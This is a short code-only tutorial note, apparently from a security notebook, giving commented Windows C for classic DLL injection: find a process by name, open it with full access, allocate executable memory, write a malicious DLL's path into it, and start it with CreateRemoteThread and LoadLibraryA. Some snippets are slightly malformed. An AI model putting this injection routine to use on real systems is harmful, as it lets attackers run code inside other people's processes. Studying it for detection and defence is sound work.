# DLL Injection ```c DWORD getProcessId(const char *processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process TH32CS_SNAPPROCESS, // Include all processes residing on the system 0 // Indicates the current process ); if (hSnapshot) { PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure if (Process32First( // Obtains the first process in the snapshot hSnapshot, // Handle of the snapshot &entry // Pointer to the PROCESSENTRY32 structure )) { do { if (!strcmp( // Compares two strings to determine if the process name matches entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32 processName // Supplied process name )) { return entry.th32ProcessID; // Process ID of matched process } } while (Process32Next( // Obtains the next process in the snapshot hSnapshot, // Handle of the snapshot &entry )); // Pointer to the PROCESSENTRY32 structure } } DWORD processId = getProcessId(processName); // Stores the enumerated process ID ``` * Open Process ```c HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, // Requests all possible access rights FALSE, // Child processes do not inheret parent process handle processId // Stored process ID ); ``` * Allocate memory ```c LPVOID dllAllocatedMemory = VirtualAllocEx( hProcess, // Handle for the target process NULL, strlen(dllLibFullPath), // Size of the DLL path MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages ); ``` * Write to memory ```c WriteProcessMemory( hProcess, // Handle for the target process dllAllocatedMemory, // Allocated memory region dllLibFullPath, // Path to the malicious DLL strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL NULL ); ``` ```c LPVOID loadLibrary = (LPVOID) GetProcAddress( GetModuleHandle("kernel32.dll"), // Handle of the module containing the call "LoadLibraryA" // API call to import ); HANDLE remoteThreadHandler = CreateRemoteThread( hProcess, // Handle for the target process NULL, 0, // Default size from the execuatable of the stack (LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function dllAllocatedMemory, // pointer to the allocated memory region 0, // Runs immediately after creation NULL ); ```